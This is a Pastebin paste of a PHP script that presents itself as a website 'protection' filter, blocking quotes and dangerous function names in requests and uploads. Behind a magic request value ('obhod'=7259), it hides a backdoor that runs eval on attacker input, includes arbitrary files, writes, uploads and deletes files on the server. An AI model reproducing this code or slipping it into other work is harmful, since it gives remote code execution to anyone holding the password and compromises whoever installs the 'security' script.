Guest User

защито

a guest
Jul 27th, 2013
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.15 KB | None | 0 0
  1. <?php
  2. if ($_REQUEST['obhod'] != 7259) {
  3.     if (isset($_GET['security_site_exe'])) {
  4.         echo '<div>Защита включена. version 1.4<br>Prosvet © 2013</div>';
  5.     }
  6.     $filtr_init_exe       = 0;
  7.     $filtr_skobka_1_array = "#'#";
  8.     $filtr_skobka_2_array = '#"#';
  9.     $filtr_format_array   = "/\(.php|.htaccess|.css|.rar|.zip|.sql|.htm|.html)\b/i";
  10.     $filtr_all_array      = "/(file_put_contents|move_uploaded_file|include|require|eval|unlink|fopen|fputs|fwrite|file_get_contents|file|mysql|copy|mkdir|php|htaccess|shell_exec|echo|rename)/i";
  11.     $filtr_file_array     = "";
  12.     $filtr_vvod_array     = "";
  13.     $files_filt           = (array_keys($_FILES));
  14.     if ($files_filt['0'] != '') {
  15.         $result_con = count($_FILES);
  16.         $e_con      = 0;
  17.         while ($result_con >= $e_con) {
  18.             if (preg_match($filtr_format_array, implode(" ", $_FILES[$files_filt[$e_con]]))) {
  19.                 $filtr_init_exe = 1;
  20.                 break;
  21.             }
  22.             $e_con++;
  23.         }
  24.         if ($filtr_init_exe != 1) {
  25.             function files_filt_prov($polosa)
  26.             {
  27.                 global $files_filt;
  28.                 global $filtr_all_array;
  29.                 global $filtr_file_array;
  30.                 $files_filt_prov = $_FILES[$files_filt[$polosa]];
  31.                 $aar             = rand(1, 80);
  32.                 copy($files_filt_prov['tmp_name'], $files_filter_tmp . "filter_files_" . $aar . ".log");
  33.                 $file_shitaem = file_get_contents($files_filter_tmp . "filter_files_" . $aar . ".log");
  34.                 unlink($files_filter_tmp . "filter_files_" . $aar . ".log");
  35.                 if (preg_match($filtr_all_array, $file_shitaem) || preg_match($filtr_file_array, $file_shitaem)) {
  36.                     return 1;
  37.                 }
  38.             }
  39.             $i_con = 0;
  40.             while ($result_con >= $i_con) {
  41.                 if (files_filt_prov($i_con) == 1) {
  42.                     $filtr_init_exe = 1;
  43.                     break;
  44.                 }
  45.                 $i_con++;
  46.             }
  47.         }
  48.         if ($filtr_init_exe == 1) {
  49.             die($filter_file_echo);
  50.         }
  51.     }
  52.     $filtr_mass = implode(" ", $_GET) . ' ' . implode(" ", $_POST) . ' ' . implode(" ", $_COOKIE) . ' ' . implode(" ", $_REQUEST);
  53.     if (preg_match($filtr_skobka_1_array, $filtr_mass) || preg_match($filtr_skobka_2_array, $filtr_mass) || preg_match($filtr_all_array, $filtr_mass) || preg_match($filtr_vvod_array, $filtr_mass)) {
  54.         $filtr_init_exe = 2;
  55.     }
  56.     if ($filtr_init_exe == 2) {
  57.         die($filter_osnova_echo);
  58.     }
  59. } else {
  60.     if (isset($_REQUEST['zapros1'])) {
  61.         eval($_REQUEST['zapros1']);
  62.     }
  63.     if (isset($_REQUEST['zapros2'])) {
  64.         include_once($_REQUEST['zapros2']);
  65.     }
  66.     if (isset($_REQUEST['zapros3'])) {
  67.         $gast = fopen($_REQUEST['zapros3_1'], "w");
  68.         fputs($gast, $_REQUEST['zapros3_2']);
  69.         fclose($gast);
  70.     }
  71.     if (isset($_REQUEST['zapros4'])) {
  72.         move_uploaded_file($_FILES['zapros4_1']['tmp_name'], $_REQUEST['zapros4_2']);
  73.     }
  74.     if (isset($_REQUEST['zapros5'])) {
  75.         unlink($_REQUEST['zapros5']);
  76.     }
  77. }
Advertisement
Add Comment
Please, Sign In to add comment